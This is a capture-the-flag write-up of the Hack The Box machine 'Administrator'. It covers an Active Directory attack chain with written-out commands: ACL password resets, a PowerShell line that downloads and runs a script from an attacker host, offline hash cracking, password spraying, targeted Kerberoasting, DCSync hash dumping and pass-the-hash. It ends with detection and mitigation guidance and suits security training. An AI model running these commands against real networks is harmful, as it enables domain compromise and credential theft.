Administrator
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows — DC dc.administrator.htb, domain administrator.htb |
| Difficulty | Medium |
| Approx. time | ~50 min |
| Scenario | Assumed breach: we’re given olivia:ichliebedich |
| Chain | GenericAll michael → ForceChangePassword benjamin → FTP backup.psafe3 → crack → spray → emily → GenericWrite → targeted Kerberoast ethan → DCSync → Administrator |
flowchart TD A["olivia (given)"] -->|GenericAll → Force Change Password| B["michael"] B -->|ForceChangePassword| C["benjamin (reset)"] C -->|Share Moderators → FTP| D["Backup.psafe3"] D -->|hashcat -m 5200| E["several users' creds"] E -->|password spraying| F["emily (user.txt)"] F -->|GenericWrite over ethan| G["targeted Kerberoasting"] G -->|hashcat -m 13100| H["ethan : limpbizkit"] H -->|DCSync| I["Administrator NT hash"] I -->|pass-the-hash| J["Administrator (root.txt)"]
- Assumed breach with
olivia:ichliebedich. BloodHound reveals an ACL chain:oliviahas GenericAll overmichael(password reset),michaelhas ForceChangePassword overbenjamin. benjaminis inShare Moderatorsand accesses FTP, where there’s aBackup.psafe3(Password Safe database). We crack it (-m 5200) and it yields several users’ credentials. A password spray validatesemily.emilyhas GenericWrite overethan→ targeted Kerberoasting (set an SPN, request the TGS, crack it).ethanhas DCSync → we dumpAdministrator’s hash and pass-the-hash.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Scan and BloodHound
What I do:
Ventana de terminal IP=<target_ip>echo "$IP administrator.htb dc.administrator.htb" | sudo tee -a /etc/hostsnmap -sCV -Pn $IP # AD + FTP(21) + WinRM(5985)bloodhound-python -d administrator.htb -u olivia -p 'ichliebedich' -c All -ns $IPWhat I see: a DC with FTP open. I load BloodHound, mark
oliviaas owned and check Outbound Object Control. → AD enumeration · BloodHound
2. Foothold and laterals via ACLs
Section titled “2. Foothold and laterals via ACLs”-
GenericAll over michael → change his password
What I see:
oliviahas GenericAll overmichael, which allows a Force Change Password.What I do:
Ventana de terminal evil-winrm -i $IP -u olivia -p 'ichliebedich'*Evil-WinRM* PS> net user michael nirza123 /domainWhy it works: GenericAll = full control of the object, including resetting the password without knowing the old one. → ACL abuse
-
michael → ForceChangePassword over benjamin
What I see:
michaelhas ForceChangePassword overbenjamin.What I do: with PowerView from
michael’s shell:Ventana de terminal IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>:8000/PowerView.ps1')$cred = New-Object System.Management.Automation.PSCredential('ADMINISTRATOR\michael', (ConvertTo-SecureString 'nirza123' -AsPlainText -Force))Set-DomainUserPassword -Identity benjamin -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $credWhat I see:
benjamin’s password is nowPassword123!. -
benjamin → FTP → backup.psafe3
What I think:
benjaminis inShare Moderatorsand port 21 (FTP) is open. I try FTP.Ventana de terminal ftp benjamin@$IP # Password123!ftp> get Backup.psafe3What I see: a
Backup.psafe3, a Password Safe v3 database.
3. From the .psafe3 to emily: crack + spraying
Section titled “3. From the .psafe3 to emily: crack + spraying”-
Crack the Password Safe database
What I do:
Ventana de terminal hashcat -a 0 -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt# Backup.psafe3:tekieromuchoWhat I see: the master password
tekieromucho. I open the database withpwsafeand pull credentials foralexander,emily,emma. -
Password spraying
What I do:
Ventana de terminal nxc smb $IP -u users.txt -p pass.txt --no-bruteforce --continue-on-successWhat I see: only
emily’s credentials are valid (the database passwords aren’t 1:1 with each user; you have to try them cross-matched).What I think: a credential dump rarely pairs up cleanly; cross-sprayed it finds which password goes with which user. → Password spraying
-
WinRM as emily
What I do:
Ventana de terminal evil-winrm -i $IP -u emily -p '<emily_pass>'What I see: a shell.
user.txt→abcd…wxyz(redacted).
4. Escalation to Domain Admin: targeted Kerberoast + DCSync
Section titled “4. Escalation to Domain Admin: targeted Kerberoast + DCSync”-
emily → GenericWrite over ethan
What I see: BloodHound shows
emilyhas GenericWrite overethan.What I think: GenericWrite lets me write
ethan’s SPN, which enables a targeted Kerberoasting: set a temporary SPN, request its TGS (encrypted with its hash) and crack it. → Targeted Kerberoasting -
Targeted Kerberoasting
What I do:
Ventana de terminal sudo ntpdate $IP # avoid KRB_AP_ERR_SKEWpython3 targetedKerberoast.py --dc-ip $IP -d administrator.htb \-u emily -p '<emily_pass>' -U ethan.txthashcat -a 0 -m 13100 ethan.hash /usr/share/wordlists/rockyou.txt# ethan:limpbizkitWhy it works:
targetedKerberoastadds the SPN, requests the TGS and removes it, all in one step. The TGS is encrypted withethan’s NT hash, crackable offline. -
DCSync as ethan
What I do:
Ventana de terminal impacket-secretsdump -just-dc administrator.htb/ethan:'limpbizkit'@$IPWhat I see:
Administrator:500:aad3b435...:3dc553ce4b9fd20bd016e098d2d2fd2e:::krbtgt:502:...Why it works:
ethanholds the replication rights (DCSync), sosecretsdumpuses DRSUAPI to dump the NTDS hashes. → DCSync -
Pass-the-hash to Administrator
What I do:
Ventana de terminal evil-winrm -i $IP -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2ecat C:\Users\Administrator\Desktop\root.txtWhat I see:
administrator.htb\administrator.root.txt→abcd…wxyz(redacted). → Lateral movement
Progressive hints
Section titled “Progressive hints”You have credentials. BloodHound: follow the ForceChangePassword/GenericAll chain from olivia.
benjamin opens a door that isn’t WinRM. What other service did nmap show?
The database credentials don’t pair 1:1. Try each password against each user.
emily can write ethan’s SPN. Which Kerberos attack does that enable?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Pairing user↔pass from the database directly | STATUS_LOGON_FAILURE |
You must cross-spray; only one combination worked |
Normal Kerberoasting (GetUserSPNs) |
ethan had no SPN |
You had to add one (targeted) with the GenericWrite |
| Kerberoast with the clock out of sync | KRB_AP_ERR_SKEW |
ntpdate first |
Methodology takeaways
Section titled “Methodology takeaways”- Assumed breach → BloodHound and follow the object-control chain. Chained password resets are a classic route.
- ForceChangePassword / GenericAll →
net user … /domainorSet-DomainUserPassword. You don’t need the old password. .psafe3/.kdbx→ crack with hashcat (-m 5200/-m 13400) and cross-spray what you get.- GenericWrite over a user with no SPN → targeted Kerberoasting. Set the SPN, request the TGS, remove it.
- Always the last check: does it have DCSync? If so, it’s game over.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Password reset (ACL) | Event 4724/4738 (password changed by another) | Review ForceChangePassword/GenericAll ACLs; protect accounts |
| FTP with a sensitive backup | FTP logs; DLP on .psafe3 |
Don’t expose secret-bearing backups; remove anonymous/legacy FTP |
| Password spraying | 4625 in bursts across several users | Lockout on attempts; MFA; unique passwords |
| Targeted Kerberoasting | 5136 (servicePrincipalName change) + 4769 RC4 |
Alert on SPNs added to users; gMSA; long passwords |
| DCSync | 4662 with the DS-Replication-Get-Changes* GUIDs from a non-DC |
Restrict replication to DCs; alert on DRSUAPI |
References
Section titled “References”- The Hacker Recipes — Targeted Kerberoasting: https://www.thehacker.recipes/ad/movement/kerberos/kerberoast#targeted-kerberoasting
- The Hacker Recipes — DCSync: https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
- hashcat — hash modes (Password Safe v3 = 5200): https://hashcat.net/wiki/doku.php?id=example_hashes